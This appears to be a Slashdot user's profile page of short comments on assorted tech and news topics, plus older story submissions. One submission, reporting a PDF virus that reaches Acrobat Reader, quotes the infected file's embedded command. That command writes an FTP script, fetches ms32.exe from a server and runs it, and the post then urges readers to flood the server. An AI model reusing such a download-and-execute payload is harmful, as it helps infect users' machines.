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Unpopular Programming Languages That Are Still Lucrative

hoggoth Re:In Theory (380 comments)

So what did you convert everything TO? I needed a program to manage my business and whipped it together in Access in one day. It handles customer lists, project lists, billable hours, todos (customer requests) and auto generates all of my end of month invoices from the billable hours.

Thing is I *hate* Access. Every time I have to touch it I cringe because the way it works hurts my brain. But what else would let me make a system that does all this in just a few hours? Foxpro-ish tools would take weeks to code the loading editing and saving data from the database to the on-screen grids and forms. I looked at Lazarus, Rebol, DABO and LiveCode (RunRev), but they all look like they require hand coding the interface to some extent.

about a week ago

Low-Carb Diet Trumps Low-Fat Diet In Major New Study

hoggoth Re:Too simple (587 comments)

Which is why I get all of my meat and vegetables directly from a local family owned farm.

about two weeks ago

It's Dumb To Tell Kids They're Smart

hoggoth Re:No no (243 comments)

At a place I worked, they offered the sales team a challenge very much like the 'ideal' one you described. A group target was set, and each individual was given a target at some modest percentage above what their current rolling average was. Everyone either won or lost together. The sales team was very much like in your description, with an established lead salesperson who made the bulk of the sales and was given all of the "important" big strategic deals, some middle of the pack sales people who did a tenth what the lead did, and a few clueless newbies making cold-calls.

Everyone panicked, started messing up their normal routines. The lead salesperson wanted the prize, so give big discounts to close some sales a month earlier than they would have "naturally", and handed the contact information to the lower salespeople to "close" the sales (ie: write up the paperwork). The lower salespeople gladly took the "free" sales and ignored their own "harder" sales. The contest was won, the next month the lead had a bad month because he had dredged his pipeline with the big discounts. The other salespeople had bad months too because they had messed up the flow of their routines.

I'm not saying your idea isn't good. I'm just saying it's very hard to "game" the sales process, especially when your salespeople are experts at winning the game. Unintended consequences abound...

about three weeks ago

DARPA Wants To Kill the Password

hoggoth Re:Ultimately... (383 comments)

Insert penis into scanner.
Error, insufficient data, biometric password must be at least 3 inches.

about a month ago

DARPA Wants To Kill the Password

hoggoth Re:Ultimately... (383 comments)

You don't measure your penis size, you use a challenge-response system that measures your penis size IN RELATION to a specific photograph!

about a month ago

Slashdot Asks: Should Schooling Be Year-Round?

hoggoth the rest of the world? (421 comments)

Sure, give the parents and kids 6 weeks vacation to take together like the civilized world does, and then extend school into the remainder of summer.

about a month ago

How Facebook Sold You Krill Oil

hoggoth Re:Snake Oil (114 comments)

I find that Facebook, Google, and every other "targeted" ad system does the same thing: they show me ads for the thing that I just bought and won't need to buy again for several years.

about a month and a half ago

Vint Cerf on Why Programmers Don't Join the ACM

hoggoth Re:Mensa incarnate? (213 comments)

I joined Mensa, and at my first meeting I brought 'smarties' and 'smart food' to share. Nobody thought it was funny and they were kind of annoyed. I didn't come back.

about a month and a half ago

New York Judge OKs Warrant To Search Entire Gmail Account

hoggoth Re:Hurr. (150 comments)

> Just because a corrupt judge signs off on it, doesn't make it legal.

Actually, when a judge signs off on it, like it or not, the warrant by definition becomes legal.

about 2 months ago

Ars Editor Learns Feds Have His Old IP Addresses, Full Credit Card Numbers

hoggoth Re:The Stasi & Stripes (217 comments)

I hereby revoke my consent.

about 2 months ago

Is the Software Renaissance Ending?

hoggoth Re:Virtual reality is coming (171 comments)

Because fascinating games with depth don't look like pretty like a Michael Bay movie. Go play Dwarf Fortress or Minecraft for a while and wonder why you look up at 5 am wondering where the night went. The same problems have hit Hollywood; When big money is involved you get people who are following the money without any passion for the craft.

about a month ago

Ask Slashdot: Choosing a Web Language That's Long-Lived, and Not Too Buzzy?

hoggoth Re:Perl (536 comments)

> /&%#%^&*)^ADVkjR$%^$E)!HJLGAZ^&R%\jkghlk/^
> Random garbage or valid perl?

I just ran it through my Perl interpreter to find out:

$ perl -e '/&%#%^&*)^ADVkjR$%^$E)!HJLGAZ^&R%\jkghlk/^'

about 2 months ago

TrueCrypt Author Claims That Forking Is Impossible

hoggoth Re:Translation (250 comments)

Dear sir,

I am interested in learning more about 'Forensic Analysis of Tamagotchi Devices'. Please subscribe me to your newsletter.

about 3 months ago

Auditors Release Verified Repositories of TrueCrypt

hoggoth Re:7.1a for x64 linux (146 comments)

And you're assuming that your compiler isn't inserting extra code that wasn't in the source code.

about 3 months ago

Linux Mint 17 'Qiana' Released

hoggoth Re:KDE? (132 comments)

Will someone explain to me why I would choose "Cinnamon" or "MATE" or "Xfce" or "LXDE" etc etc etc?
One would be for an old underpowered laptop, the other for a reasonably modern desktop.

It's really off-putting to hear how great Mint is, then go to the site and the first thing you need to do is decide which environment you will choose with no explanations of what that choice will mean to you. Are there programs that will only work under one environment and not the others? Are we just talking about differences in the file browser and config/update system?

about 3 months ago



IBM may outsource 3/4 of it's permanent workforce

hoggoth hoggoth writes  |  more than 4 years ago

hoggoth (414195) writes "MISH'S Global Economic Trend Analysis blog has an article up about IBM "crowdsourcing" away 3/4 of their workforce. The deal sounds something like this: "Employee, you will be doing the same work for us, except you won't be an employee, when it's slow in between projects you won't get paid, you won't get a pension, and you won't get health benefits." Being in I.T. just keeps getting better."
Link to Original Source

Corporation runs for congress

hoggoth hoggoth writes  |  more than 4 years ago

hoggoth (414195) writes ""Following the recent Supreme Court ruling in Citizens United v. Federal Election Commission to allow unlimited corporate funding of federal campaigns, Murray Hill Inc. today announced it was filing to run for U.S. Congress".
This can't be a good thing."

Link to Original Source

PDF virus targets Acrobat READER

hoggoth hoggoth writes  |  more than 6 years ago

hoggoth (414195) writes "The recent outbreak of the 'Peachy' virus showed that PDFs can carry dangerous content. All of the news outlets are repeating Adobe's statement that only the full Acrobat suite can activate the virus, that the free Acrobat Reader is immune. However as a victim of a PDF carried virus I can tell you it's not true. This morning I got an email from a financial services firm I have an account with to an email address I set up just for that financial services firm. This led me to stupidly trust the email that contained a PDF attachment. When I clicked on it a window popped up and went away; very suspicious behavior. So I looked closer at the PDF file and found that it contained a mailto: that put some DOS commandline instructions in a file and executed them, which contacted a server, downloaded an executable, and ran it. The meat of the offending part is this: 14 0 obj7&@echo binary>>7&@echo get /ms32.exe>>7&@echo quit>>7&@ftp -s:7 -v -A>nul&@del /q 7&@start ms32.exe&\" \"&\" "con.cmd)/S/URI>> This calls cmd.exe with a long command that turns off your firewall, FTP's into the offending site, downloads a rogue version of ms32.exe, and runs it. The virus installed a number of files to my computer and modified the startup to run them. I *think* I got rid of it all, although one can never be sure today with rootkits and all. I googled all over, and I think this is 'breaking news'. Every outlet is still saying Acrobat Reader is safe. Entities to Hate: The virus server at Financial services institutions that sell your private email address to marketers. Adobe for allowing PDFs to execute Adobe for lying about Acrobat Reader being safe. Microsoft for their entire insecure operating system. Come on, outside data is allowed to run and TURN OFF THE FIREWALL?! Please feel free to pound that FTP server's IP address with all the hate you can muster."

hoggoth hoggoth writes  |  more than 7 years ago

hoggoth (414195) writes "As a common everyman who needs big fast reliable storage without a big budget, I have been following a number of emerging technologies and I think they have finally become usable in combination. Specifically, it appears to me that I can put together the little brother of a $50,000 NAS/SAN solution for under $3,000. Here's how:

Get a CoolerMaster Stacker enclosure like this one (just the hardware not the software) that can hold up to 12 SATA drives. Install OpenSolaris and create ZFS pools with RAID-Z for redundancy. Export some pools with Samba for use as a NAS. Export some pools with iSCSI for use as a SAN. Run it over Gigabit Ethernet. Fast, secure, reliable, easy to administer, and cheap. Usable from Windows, Mac, and Linux. As a bonus ZFS let's me create daily or hourly snapshots at almost no cost in disk space or time.

Total cost: 1.4 Terabytes: $2,000. 7.7 Terabytes: $4,200 (Just the cost of the enclosure and the drives). That's an order of magnitude less expensive than other solutions.

Add redundant power supplies, NIC cards, SATA cards, etc as your needs require..

So storage experts, tell me why this is or isn't feasible!."


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